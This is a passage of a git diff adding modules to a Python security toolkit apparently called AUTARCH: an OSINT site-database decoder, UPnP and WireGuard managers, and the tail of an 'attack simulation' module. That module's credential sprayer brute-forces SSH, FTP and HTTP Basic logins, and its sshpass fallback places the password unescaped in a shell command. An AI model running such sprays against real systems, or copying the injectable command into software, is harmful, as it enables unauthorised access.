f: + usernames = [line.strip() for line in f if line.strip()] + except Exception as e: + self.print_status(f"Error reading file: {e}", "error") + return + + if not usernames: + self.print_status("No usernames provided", "error") + return + + # Password source + print(f"\n{Colors.CYAN}Password source:{Colors.RESET}") + print(f" {Colors.YELLOW}[1]{Colors.RESET} Built-in top 20") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Manual entry") + print(f" {Colors.YELLOW}[3]{Colors.RESET} File") + + pass_choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip() + passwords = [] + if pass_choice == '1': + passwords = self.DEFAULT_PASSWORDS[:] + elif pass_choice == '2': + pass_input = input(f"{Colors.WHITE}Passwords (comma-separated): {Colors.RESET}").strip() + passwords = [p.strip() for p in pass_input.split(',') if p.strip()] + elif pass_choice == '3': + filepath = input(f"{Colors.WHITE}Password file path: {Colors.RESET}").strip() + try: + with open(filepath, 'r') as f: + passwords = [line.strip() for line in f if line.strip()] + except Exception as e: + self.print_status(f"Error reading file: {e}", "error") + return + + if not passwords: + self.print_status("No passwords provided", "error") + return + + # Delay and confirmation + delay = input(f"{Colors.WHITE}Delay between attempts (seconds) [{Colors.GREEN}1.0{Colors.WHITE}]: {Colors.RESET}").strip() or "1.0" + try: + delay = max(0.5, float(delay)) # Enforce minimum 0.5s + except ValueError: + delay = 1.0 + + total_combos = len(usernames) * len(passwords) + est_time = total_combos * delay + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f" Protocol: {protocol.upper()}") + print(f" Target: {target}:{port}") + print(f" Usernames: {len(usernames)}") + print(f" Passwords: {len(passwords)}") + print(f" Combinations: {total_combos}") + print(f" Delay: {delay}s") + print(f" Est. time: {int(est_time)}s ({int(est_time/60)}m)") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + + confirm = input(f"\n{Colors.YELLOW}Start credential spray? (yes/no): {Colors.RESET}").strip().lower() + if confirm != 'yes': + return + + results = self._run_spray(protocol, target, port, usernames, passwords, delay) + + # Summary + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Spray Complete{Colors.RESET}") + print(f" Attempts: {total_combos}") + print(f" Successes: {Colors.GREEN}{len(results)}{Colors.RESET}") + + if results: + print(f"\n{Colors.GREEN}Valid Credentials:{Colors.RESET}") + for r in results: + print(f" {Colors.GREEN}[+]{Colors.RESET} {r['user']}:{r['password']}") + + def _spray_ssh(self, target: str, port: int, user: str, password: str) -> bool: + """Try SSH login with given credentials.""" + try: + import paramiko + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect(target, port=port, username=user, password=password, timeout=5, + allow_agent=False, look_for_keys=False) + client.close() + return True + except ImportError: + # Fallback to sshpass + success, _ = self.run_cmd( + f"sshpass -p '{password}' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p {port} {user}@{target} exit", + timeout=10 + ) + return success + except: + return False + + def _spray_ftp(self, target: str, port: int, user: str, password: str) -> bool: + """Try FTP login with given credentials.""" + try: + ftp = ftplib.FTP() + ftp.connect(target, port, timeout=5) + ftp.login(user, password) + ftp.quit() + return True + except: + return False + + def _spray_http_basic(self, target: str, port: int, user: str, password: str) -> bool: + """Try HTTP Basic Auth with given credentials.""" + try: + url = f"http://{target}:{port}/" + credentials = base64.b64encode(f"{user}:{password}".encode()).decode() + req = urllib.request.Request(url, headers={ + 'Authorization': f'Basic {credentials}', + 'User-Agent': 'Mozilla/5.0', + }) + with urllib.request.urlopen(req, timeout=5) as response: + return response.getcode() not in [401, 403] + except urllib.error.HTTPError as e: + return e.code not in [401, 403] + except: + return False + + def _run_spray(self, protocol: str, target: str, port: int, + usernames: list, passwords: list, delay: float = 1.0) -> list: + """Execute the credential spray.""" + spray_funcs = { + 'ssh': self._spray_ssh, + 'ftp': self._spray_ftp, + 'http': self._spray_http_basic, + } + + spray_func = spray_funcs.get(protocol) + if not spray_func: + self.print_status(f"Unsupported protocol: {protocol}", "error") + return [] + + successes = [] + attempt = 0 + max_attempts = 500 + + print(f"\n{Colors.CYAN}Starting spray...{Colors.RESET}\n") + + for user in usernames: + for password in passwords: + attempt += 1 + if attempt > max_attempts: + self.print_status(f"Max attempts ({max_attempts}) reached", "warning") + return successes + + print(f"\r{Colors.DIM} [{attempt}] Trying {user}:{password[:15]}...{Colors.RESET}", end='', flush=True) + + try: + result = spray_func(target, port, user, password) + if result: + print(f"\r{' ' * 60}\r {Colors.GREEN}[+] SUCCESS: {user}:{password}{Colors.RESET}") + successes.append({'user': user, 'password': password}) + except: + pass + + time.sleep(delay) + + print(f"\r{' ' * 60}\r", end='') + return successes + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.YELLOW}{Colors.BOLD} Attack Simulation{Colors.RESET}") + print(f"{Colors.DIM} Red team exercises and testing{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.YELLOW}[1]{Colors.RESET} Password Audit") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Port Scanner") + print(f" {Colors.YELLOW}[3]{Colors.RESET} Banner Grabber") + print(f" {Colors.YELLOW}[4]{Colors.RESET} Payload Generator") + print(f" {Colors.YELLOW}[5]{Colors.RESET} Network Stress Test") + print(f" {Colors.YELLOW}[6]{Colors.RESET} Credential Sprayer") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.password_audit() + elif choice == "2": + self.port_scanner() + elif choice == "3": + self.banner_grabber() + elif choice == "4": + self.payload_generator() + elif choice == "5": + self.network_stress() + elif choice == "6": + self.credential_sprayer() + + if choice in ["1", "2", "3", "4", "5", "6"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + Simulator().run() + + +if __name__ == "__main__": + run() diff --git a/modules/snoop_decoder.py b/modules/snoop_decoder.py new file mode 100644 index 0000000..0ece6e2 --- /dev/null +++ b/modules/snoop_decoder.py @@ -0,0 +1,400 @@ +""" +AUTARCH Snoop Database Decoder Module +Decrypts and imports Snoop Project databases into AUTARCH +""" + +import base64 +import json +import os +import sys +from pathlib import Path + +# Add parent directory to path for imports +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.banner import Colors +from core.sites_db import SitesDatabase + +# Module metadata +NAME = "Snoop Decoder" +DESCRIPTION = "Decrypt and import Snoop Project databases" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "osint" + + +class SnoopDecoder: + """Decoder for Snoop Project encoded databases.""" + + def __init__(self): + self.sites_db = SitesDatabase() + from core.paths import get_data_dir + self.data_dir = get_data_dir() / "sites" + self.data_dir.mkdir(parents=True, exist_ok=True) + + def decode_database(self, filepath: str) -> dict: + """Decode a Snoop database file. + + Args: + filepath: Path to the encoded database file (BDdemo, BDfull, etc.) + + Returns: + Decoded dictionary of sites. + """ + print(f"{Colors.CYAN}[*] Reading encoded database...{Colors.RESET}") + + with open(filepath, 'r', encoding='utf8') as f: + db = f.read().strip() + + original_size = len(db) + print(f"{Colors.DIM} Original size: {original_size:,} chars{Colors.RESET}") + + # Step 1: Decode base32 + print(f"{Colors.CYAN}[*] Decoding base32...{Colors.RESET}") + try: + db_bytes = base64.b32decode(db) + except Exception as e: + print(f"{Colors.RED}[X] Base32 decode failed: {e}{Colors.RESET}") + return None + + print(f"{Colors.DIM} After base32: {len(db_bytes):,} bytes{Colors.RESET}") + + # Step 2: Reverse bytes + print(f"{Colors.CYAN}[*] Reversing byte order...{Colors.RESET}") + db_bytes = db_bytes[::-1] + + # Step 3: Decode UTF-8 with error handling + print(f"{Colors.CYAN}[*] Decoding UTF-8...{Colors.RESET}") + content = db_bytes.decode('utf-8', errors='replace') + + # Step 4: Reverse string + print(f"{Colors.CYAN}[*] Reversing string...{Colors.RESET}") + content = content[::-1] + + # Step 5: Parse JSON + print(f"{Colors.CYAN}[*] Parsing JSON...{Colors.RESET}") + try: + data = json.loads(content) + except json.JSONDecodeError as e: + print(f"{Colors.RED}[X] JSON parse failed: {e}{Colors.RESET}") + return None + + print(f"{Colors.GREEN}[+] Successfully decoded {len(data):,} sites!{Colors.RESET}") + return data + + def save_decoded(self, data: dict, output_name: str = "snoop_decoded.json") -> str: + """Save decoded database to JSON file. + + Args: + data: Decoded site dictionary. + output_name: Output filename. + + Returns: + Path to saved file. + """ + output_path = self.data_dir / output_name + + with open(output_path, 'w', encoding='utf8') as f: + json.dump(data, f, indent=2, ensure_ascii=False) + + size_mb = output_path.stat().st_size / 1024 / 1024 + print(f"{Colors.GREEN}[+] Saved to: {output_path}{Colors.RESET}") + print(f"{Colors.DIM} File size: {size_mb:.2f} MB{Colors.RESET}") + + return str(output_path) + + def import_to_database(self, data: dict) -> dict: + """Import decoded Snoop data into AUTARCH sites database. + + Args: + data: Decoded site dictionary. + + Returns: + Import statistics. + """ + print(f"\n{Colors.CYAN}[*] Importing to AUTARCH database...{Colors.RESET}") + + sites_to_add = [] + skipped = 0 + + for name, entry in data.items(): + if not isinstance(entry, dict): + skipped += 1 + continue + + url = entry.get('url', '') + if not url or '{}' not in url: + skipped += 1 + continue + + # Get error type - handle encoding issues in key name + error_type = None + for key in entry.keys(): + if 'errorTyp' in key or 'errortype' in key.lower(): + error_type = entry[key] + break + + # Map Snoop error types to detection methods + detection_method = 'status' + if error_type: + if 'message' in str(error_type).lower(): + detection_method = 'content' + elif 'redirect' in str(error_type).lower(): + detection_method = 'redirect' + + # Get error message pattern + error_pattern = None + for key in ['errorMsg', 'errorMsg2']: + if key in entry and entry[key]: + error_pattern = str(entry[key]) + break + + sites_to_add.append({ + 'name': name, + 'url_template': url, + 'url_main': entry.get('urlMain'), + 'detection_method': detection_method, + 'error_pattern': error_pattern, + 'category': 'other', + 'nsfw': 0, + }) + + print(f"{Colors.DIM} Valid sites: {len(sites_to_add):,}{Colors.RESET}") + print(f"{Colors.DIM} Skipped: {skipped:,}{Colors.RESET}") + + # Add to database + stats = self.sites_db.add_sites_bulk(sites_to_add) + + print(f"{Colors.GREEN}[+] Import complete!{Colors.RESET}") + print(f"{Colors.DIM} Added: {stats['added']:,}{Colors.RESET}") + print(f"{Colors.DIM} Errors: {stats['errors']:,}{Colors.RESET}") + + return stats + + def show_sample(self, data: dict, count: int = 10): + """Display sample sites from decoded database. + + Args: + data: Decoded site dictionary. + count: Number of samples to show. + """ + print(f"\n{Colors.CYAN}Sample Sites ({count}):{Colors.RESET}") + print("-" * 60) + + for i, (name, info) in enumerate(list(data.items())[:count]): + url = info.get('url', 'N/A') + country = info.get('country', '') + print(f" {country} {Colors.GREEN}{name}{Colors.RESET}") + print(f" {Colors.DIM}{url[:55]}...{Colors.RESET}" if len(url) > 55 else f" {Colors.DIM}{url}{Colors.RESET}") + + def get_stats(self, data: dict) -> dict: + """Get statistics about decoded database. + + Args: + data: Decoded site dictionary. + + Returns: + Statistics dictionary. + """ + stats = { + 'total_sites': len(data), + 'by_country': {}, + 'detection_methods': {'status_code': 0, 'message': 0, 'redirection': 0, 'other': 0}, + } + + for name, info in data.items(): + # Country stats + country = info.get('country_klas', 'Unknown') + stats['by_country'][country] = stats['by_country'].get(country, 0) + 1 + + # Detection method stats + error_type = None + for key in info.keys(): + if 'errorTyp' in key: + error_type = str(info[key]).lower() + break + + if error_type: + if 'status' in error_type: + stats['detection_methods']['status_code'] += 1 + elif 'message' in error_type: + stats['detection_methods']['message'] += 1 + elif 'redirect' in error_type: + stats['detection_methods']['redirection'] += 1 + else: + stats['detection_methods']['other'] += 1 + else: + stats['detection_methods']['other'] += 1 + + return stats + + +def display_menu(): + """Display the Snoop Decoder menu.""" + print(f""" +{Colors.CYAN} Snoop Database Decoder{Colors.RESET} +{Colors.DIM} Decrypt and import Snoop Project databases{Colors.RESET} +{Colors.DIM}{'─' * 50}{Colors.RESET} + + {Colors.GREEN}[1]{Colors.RESET} Decode Snoop Database File + {Colors.GREEN}[2]{Colors.RESET} Decode & Import to AUTARCH + {Colors.GREEN}[3]{Colors.RESET} View Current Sites Database Stats + + {Colors.GREEN}[4]{Colors.RESET} Quick Import (BDfull from snoop-master) + {Colors.GREEN}[5]{Colors.RESET} Quick Import (BDdemo from snoop-master) + + {Colors.RED}[0]{Colors.RESET} Back to OSINT Menu +""") + + +def get_file_path() -> str: + """Prompt user for file path.""" + print(f"\n{Colors.CYAN}Enter path to Snoop database file:{Colors.RESET}") + print(f"{Colors.DIM}(e.g., /path/to/BDfull or /path/to/BDdemo){Colors.RESET}") + + filepath = input(f"\n{Colors.GREEN}Path: {Colors.RESET}").strip() + + if not filepath: + return None + + if not os.path.exists(filepath): + print(f"{Colors.RED}[X] File not found: {filepath}{Colors.RESET}") + return None + + return filepath + + +def run(): + """Main entry point for the module.""" + decoder = SnoopDecoder() + + # Common paths for Snoop databases + from core.paths import get_app_dir, get_data_dir + _app = get_app_dir() + _data = get_data_dir() + snoop_paths = { + 'bdfull': _app / "snoop" / "snoop-master" / "BDfull", + 'bddemo': _app / "snoop" / "snoop-master" / "BDdemo", + 'bdfull_alt': _data / "snoop" / "BDfull", + 'bddemo_alt': _data / "snoop" / "BDdemo", + } + + while True: + display_menu() + + choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + # Decode only + filepath = get_file_path() + if not filepath: + continue + + data = decoder.decode_database(filepath) + if data: + decoder.show_sample(data) + + stats = decoder.get_stats(data) + print(f"\n{Colors.CYAN}Database Statistics:{Colors.RESET}") + print(f" Total sites: {stats['total_sites']:,}") + print(f" Detection methods: {stats['detection_methods']}") + print(f" Top countries: {dict(sorted(stats['by_country'].items(), key=lambda x: -x[1])[:10])}") + + # Ask to save + save = input(f"\n{Colors.YELLOW}Save decoded JSON? (y/n): {Colors.RESET}").strip().lower() + if save == 'y': + name = input(f"{Colors.GREEN}Output filename [snoop_decoded.json]: {Colors.RESET}").strip() + decoder.save_decoded(data, name if name else "snoop_decoded.json") + + elif choice == '2': + # Decode and import + filepath = get_file_path() + if not filepath: + continue + + data = decoder.decode_database(filepath) + if data: + decoder.show_sample(data, 5) + + confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites to AUTARCH? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + # Save first + decoder.save_decoded(data, "snoop_imported.json") + # Then import + decoder.import_to_database(data) + + # Show final stats + db_stats = decoder.sites_db.get_stats() + print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + + elif choice == '3': + # View current stats + stats = decoder.sites_db.get_stats() + print(f"\n{Colors.CYAN}AUTARCH Sites Database:{Colors.RESET}") + print(f" Total sites: {stats['total_sites']:,}") + print(f" NSFW sites: {stats['nsfw_sites']:,}") + print(f" Database size: {stats['db_size_mb']:.2f} MB") + print(f"\n {Colors.CYAN}By Source:{Colors.RESET}") + for source, count in sorted(stats['by_source'].items(), key=lambda x: -x[1]): + print(f" {source}: {count:,}") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '4': + # Quick import BDfull + bdpath = None + for key in ['bdfull', 'bdfull_alt']: + if snoop_paths[key].exists(): + bdpath = str(snoop_paths[key]) + break + + if not bdpath: + print(f"{Colors.RED}[X] BDfull not found in known locations{Colors.RESET}") + print(f"{Colors.DIM} Checked: {snoop_paths['bdfull']}{Colors.RESET}") + print(f"{Colors.DIM} Checked: {snoop_paths['bdfull_alt']}{Colors.RESET}") + continue + + print(f"{Colors.GREEN}[+] Found BDfull: {bdpath}{Colors.RESET}") + + data = decoder.decode_database(bdpath) + if data: + confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + decoder.save_decoded(data, "snoop_full.json") + decoder.import_to_database(data) + + db_stats = decoder.sites_db.get_stats() + print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + + elif choice == '5': + # Quick import BDdemo + bdpath = None + for key in ['bddemo', 'bddemo_alt']: + if snoop_paths[key].exists(): + bdpath = str(snoop_paths[key]) + break + + if not bdpath: + print(f"{Colors.RED}[X] BDdemo not found in known locations{Colors.RESET}") + continue + + print(f"{Colors.GREEN}[+] Found BDdemo: {bdpath}{Colors.RESET}") + + data = decoder.decode_database(bdpath) + if data: + confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + decoder.save_decoded(data, "snoop_demo.json") + decoder.import_to_database(data) + + db_stats = decoder.sites_db.get_stats() + print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + + else: + print(f"{Colors.RED}[!] Invalid option{Colors.RESET}") + + +if __name__ == "__main__": + run() diff --git a/modules/upnp_manager.py b/modules/upnp_manager.py new file mode 100644 index 0000000..8a9905c --- /dev/null +++ b/modules/upnp_manager.py @@ -0,0 +1,331 @@ +""" +AUTARCH UPnP Port Manager Module +Manage UPnP port forwarding and cron refresh jobs + +Requires: miniupnpc (upnpc command) +""" + +import sys +from pathlib import Path + +# Module metadata +DESCRIPTION = "UPnP port forwarding manager" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen +from core.config import get_config +from core.upnp import get_upnp_manager + + +def print_status(message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + +def show_menu(upnp): + """Display the UPnP manager menu.""" + cron = upnp.get_cron_status() + cron_str = f"every {cron['interval']}" if cron['installed'] else "not installed" + internal_ip = upnp._get_internal_ip() + + print(f"\n{Colors.BOLD}{Colors.BLUE}UPnP Port Manager{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}") + print(f" Internal IP: {Colors.CYAN}{internal_ip}{Colors.RESET}") + print(f" Cron: {Colors.GREEN if cron['installed'] else Colors.YELLOW}{cron_str}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}") + print(f" {Colors.BLUE}[1]{Colors.RESET} Show Current Mappings") + print(f" {Colors.BLUE}[2]{Colors.RESET} Add Port Mapping") + print(f" {Colors.BLUE}[3]{Colors.RESET} Remove Port Mapping") + print(f" {Colors.BLUE}[4]{Colors.RESET} Refresh All Mappings") + print(f" {Colors.BLUE}[5]{Colors.RESET} Show External IP") + print(f" {Colors.BLUE}[6]{Colors.RESET} Cron Job Settings") + print(f" {Colors.BLUE}[7]{Colors.RESET} Edit Internal IP") + print(f" {Colors.BLUE}[8]{Colors.RESET} Edit Port Mappings Config") + print(f" {Colors.RED}[0]{Colors.RESET} Back") + print() + + +def show_mappings(upnp): + """Show current UPnP port mappings.""" + print(f"\n{Colors.BOLD}Current UPnP Mappings{Colors.RESET}") + success, output = upnp.list_mappings() + if success: + print(output) + else: + print_status(output, "error") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def add_mapping(upnp): + """Add a new port mapping.""" + print(f"\n{Colors.BOLD}Add Port Mapping{Colors.RESET}") + try: + internal_ip = upnp._get_internal_ip() + ext_port = input(f" External port: ").strip() + if not ext_port: + return + ext_port = int(ext_port) + + int_port_str = input(f" Internal port [{ext_port}]: ").strip() + int_port = int(int_port_str) if int_port_str else ext_port + + proto = input(f" Protocol (TCP/UDP) [TCP]: ").strip().upper() + if not proto: + proto = 'TCP' + if proto not in ('TCP', 'UDP'): + print_status("Invalid protocol", "error") + return + + desc = input(f" Description [AUTARCH]: ").strip() + if not desc: + desc = 'AUTARCH' + + success, output = upnp.add_mapping(internal_ip, int_port, ext_port, proto, desc) + if success: + print_status(f"Mapping added: {ext_port}/{proto} -> {internal_ip}:{int_port}", "success") + # Offer to save to config + save = input(f"\n Save to config? (y/n) [y]: ").strip().lower() + if save != 'n': + mappings = upnp.load_mappings_from_config() + # Check if already exists + exists = any(m['port'] == ext_port and m['protocol'] == proto for m in mappings) + if not exists: + mappings.append({'port': ext_port, 'protocol': proto}) + upnp.save_mappings_to_config(mappings) + print_status("Saved to config", "success") + else: + print_status("Already in config", "info") + else: + print_status(f"Failed: {output}", "error") + except ValueError: + print_status("Invalid port number", "error") + except KeyboardInterrupt: + print() + + +def remove_mapping(upnp): + """Remove a port mapping.""" + print(f"\n{Colors.BOLD}Remove Port Mapping{Colors.RESET}") + try: + ext_port = input(f" External port: ").strip() + if not ext_port: + return + ext_port = int(ext_port) + + proto = input(f" Protocol (TCP/UDP) [TCP]: ").strip().upper() + if not proto: + proto = 'TCP' + + success, output = upnp.remove_mapping(ext_port, proto) + if success: + print_status(f"Mapping removed: {ext_port}/{proto}", "success") + # Offer to remove from config + remove = input(f"\n Remove from config? (y/n) [y]: ").strip().lower() + if remove != 'n': + mappings = upnp.load_mappings_from_config() + mappings = [m for m in mappings if not (m['port'] == ext_port and m['protocol'] == proto)] + upnp.save_mappings_to_config(mappings) + print_status("Removed from config", "success") + else: + print_status(f"Failed: {output}", "error") + except ValueError: + print_status("Invalid port number", "error") + except KeyboardInterrupt: + print() + + +def refresh_all(upnp): + """Refresh all configured mappings.""" + mappings = upnp.load_mappings_from_config() + if not mappings: + print_status("No mappings configured. Use option [8] to edit.", "warning") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.BOLD}Refreshing {len(mappings)} mapping(s)...{Colors.RESET}") + results = upnp.refresh_all() + for r in results: + if r['success']: + print_status(f"{r['port']}/{r['protocol']}: OK", "success") + else: + print_status(f"{r['port']}/{r['protocol']}: {r['message']}", "error") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def show_external_ip(upnp): + """Show external IP.""" + success, ip = upnp.get_external_ip() + if success: + print(f"\n {Colors.BOLD}External IP:{Colors.RESET} {Colors.GREEN}{ip}{Colors.RESET}") + else: + print_status(f"Failed: {ip}", "error") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def cron_settings(upnp): + """Manage cron job settings.""" + cron = upnp.get_cron_status() + + print(f"\n{Colors.BOLD}Cron Job Settings{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}") + + if cron['installed']: + print(f" Status: {Colors.GREEN}Installed{Colors.RESET}") + print(f" Interval: every {cron['interval']}") + print(f" Entry: {Colors.DIM}{cron['line']}{Colors.RESET}") + print() + print(f" {Colors.BLUE}[1]{Colors.RESET} Change interval") + print(f" {Colors.RED}[2]{Colors.RESET} Uninstall cron job") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + else: + print(f" Status: {Colors.YELLOW}Not installed{Colors.RESET}") + print() + print(f" {Colors.BLUE}[1]{Colors.RESET} Install cron job") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + + print() + try: + choice = input(f" {Colors.BOLD}>{Colors.RESET} ").strip() + + if choice == '0': + return + + if cron['installed']: + if choice == '1': + hours = input(f" Refresh interval (hours) [12]: ").strip() + hours = int(hours) if hours else 12 + if hours < 1 or hours > 24: + print_status("Interval must be 1-24 hours", "error") + return + success, msg = upnp.install_cron(hours) + print_status(msg, "success" if success else "error") + elif choice == '2': + success, msg = upnp.uninstall_cron() + print_status(msg, "success" if success else "error") + else: + if choice == '1': + hours = input(f" Refresh interval (hours) [12]: ").strip() + hours = int(hours) if hours else 12 + if hours < 1 or hours > 24: + print_status("Interval must be 1-24 hours", "error") + return + success, msg = upnp.install_cron(hours) + print_status(msg, "success" if success else "error") + except (ValueError, KeyboardInterrupt): + print() + + +def edit_internal_ip(upnp): + """Edit the internal IP address.""" + config = get_config() + current = upnp._get_internal_ip() + print(f"\n Current internal IP: {Colors.CYAN}{current}{Colors.RESET}") + try: + new_ip = input(f" New internal IP [{current}]: ").strip() + if new_ip and new_ip != current: + config.set('upnp', 'internal_ip', new_ip) + config.save() + print_status(f"Internal IP set to {new_ip}", "success") + elif not new_ip: + print_status("Unchanged", "info") + except KeyboardInterrupt: + print() + + +def edit_mappings_config(upnp): + """Edit configured port mappings.""" + mappings = upnp.load_mappings_from_config() + + print(f"\n{Colors.BOLD}Configured Port Mappings{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}") + + if mappings: + for i, m in enumerate(mappings, 1): + print(f" {Colors.BLUE}[{i}]{Colors.RESET} {m['port']}/{m['protocol']}") + else: + print(f" {Colors.DIM}(none configured){Colors.RESET}") + + print() + print(f" {Colors.GREEN}[a]{Colors.RESET} Add mapping to config") + if mappings: + print(f" {Colors.RED}[d]{Colors.RESET} Delete mapping from config") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f" {Colors.BOLD}>{Colors.RESET} ").strip().lower() + + if choice == '0': + return + elif choice == 'a': + port = input(f" Port: ").strip() + if not port: + return + port = int(port) + proto = input(f" Protocol (TCP/UDP) [TCP]: ").strip().upper() + if not proto: + proto = 'TCP' + if proto not in ('TCP', 'UDP'): + print_status("Invalid protocol", "error") + return + exists = any(m['port'] == port and m['protocol'] == proto for m in mappings) + if exists: + print_status("Already in config", "info") + return + mappings.append({'port': port, 'protocol': proto}) + upnp.save_mappings_to_config(mappings) + print_status(f"Added {port}/{proto}", "success") + elif choice == 'd' and mappings: + idx = input(f" Number to delete: ").strip() + idx = int(idx) - 1 + if 0 <= idx < len(mappings): + removed = mappings.pop(idx) + upnp.save_mappings_to_config(mappings) + print_status(f"Removed {removed['port']}/{removed['protocol']}", "success") + else: + print_status("Invalid selection", "error") + except (ValueError, KeyboardInterrupt): + print() + + +def run(): + """Main entry point for the UPnP manager module.""" + config = get_config() + upnp = get_upnp_manager(config) + + if not upnp.is_available(): + print_status("upnpc (miniupnpc) is not installed!", "error") + print(f" {Colors.DIM}Install with: sudo apt install miniupnpc{Colors.RESET}") + input(f"\n{Colors.DIM}Press Enter to go back...{Colors.RESET}") + return + + while True: + try: + clear_screen() + show_menu(upnp) + choice = input(f" {Colors.BOLD}>{Colors.RESET} ").strip() + + if choice == '0': + break + elif choice == '1': + show_mappings(upnp) + elif choice == '2': + add_mapping(upnp) + elif choice == '3': + remove_mapping(upnp) + elif choice == '4': + refresh_all(upnp) + elif choice == '5': + show_external_ip(upnp) + elif choice == '6': + cron_settings(upnp) + elif choice == '7': + edit_internal_ip(upnp) + elif choice == '8': + edit_mappings_config(upnp) + except KeyboardInterrupt: + break diff --git a/modules/wireguard_manager.py b/modules/wireguard_manager.py new file mode 100644 index 0000000..d4c9e87 --- /dev/null +++ b/modules/wireguard_manager.py @@ -0,0 +1,503 @@ +""" +WireGuard VPN Manager - Server management, client CRUD, remote ADB +Manage WireGuard VPN server, clients, and remote ADB connections over VPN tunnel. +""" + +DESCRIPTION = "WireGuard VPN + Remote ADB manager" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "defense" + + +class WireGuardVPN: + """Interactive WireGuard VPN menu.""" + + def __init__(self): + from core.wireguard import get_wireguard_manager + self.mgr = get_wireguard_manager() + + def show_menu(self): + status = self.mgr.get_server_status() + running = status.get('running', False) + endpoint = status.get('endpoint', 'N/A') + clients = self.mgr.get_all_clients() + peer_status = self.mgr.get_peer_status() if running else {} + + # Count online peers + online = 0 + for c in clients: + ps = peer_status.get(c.get('public_key', ''), {}) + hs = ps.get('latest_handshake') + if hs is not None and hs < 180: + online += 1 + + print(f"\n{'='*55}") + print(" WireGuard VPN Manager") + print(f"{'='*55}") + print(f" Interface: {status.get('interface', 'wg0')} | " + f"Status: {'Running' if running else 'Stopped'}") + print(f" Endpoint: {endpoint}") + print(f" Clients: {len(clients)} ({online} online)") + print() + print(" -- Server --") + print(" 1) Server Status") + print(" 2) Start Interface") + print(" 3) Stop Interface") + print(" 4) Restart Interface") + print() + print(" -- Clients --") + print(" 10) List All Clients") + print(" 11) Create New Client") + print(" 12) View Client Detail") + print(" 13) Delete Client") + print(" 14) Enable/Disable Client") + print(" 15) Import Existing Peers") + print() + print(" -- Remote ADB --") + print(" 20) ADB Connect (TCP/IP)") + print(" 21) ADB Disconnect") + print(" 22) Auto-Connect All Peers") + print(" 23) List Remote ADB Devices") + print() + print(" -- USB/IP --") + print(" 30) USB/IP Status") + print(" 31) Load USB/IP Modules") + print(" 32) List Remote USB Devices") + print(" 33) Attach USB Device") + print(" 34) Detach USB Device") + print(" 35) List Attached Ports") + print() + print(" -- Config --") + print(" 40) Generate Client Config") + print(" 41) Show QR Code (terminal)") + print(" 42) Refresh UPnP Mapping") + print() + print(" 0) Back") + print() + + # ── Helpers ───────────────────────────────────────────────────── + + def _pick_client(self, prompt=" Select client #: "): + """Select a client from the list.""" + clients = self.mgr.get_all_clients() + if not clients: + print(" No clients configured.") + return None + print("\n Clients:") + for i, c in enumerate(clients, 1): + status = "ON " if c.get('enabled', True) else "OFF" + print(f" {i}) [{status}] {c['name']} ({c['assigned_ip']})") + try: + choice = int(input(prompt).strip()) + if 1 <= choice <= len(clients): + return clients[choice - 1] + except (ValueError, EOFError, KeyboardInterrupt): + pass + return None + + def _pick_client_ip(self, prompt=" Client IP (or # to select): "): + """Get a client IP either directly or by selection.""" + try: + val = input(prompt).strip() + except (EOFError, KeyboardInterrupt): + return None + if not val: + return None + # If numeric, treat as selection + if val.isdigit(): + clients = self.mgr.get_all_clients() + idx = int(val) - 1 + if 0 <= idx < len(clients): + return 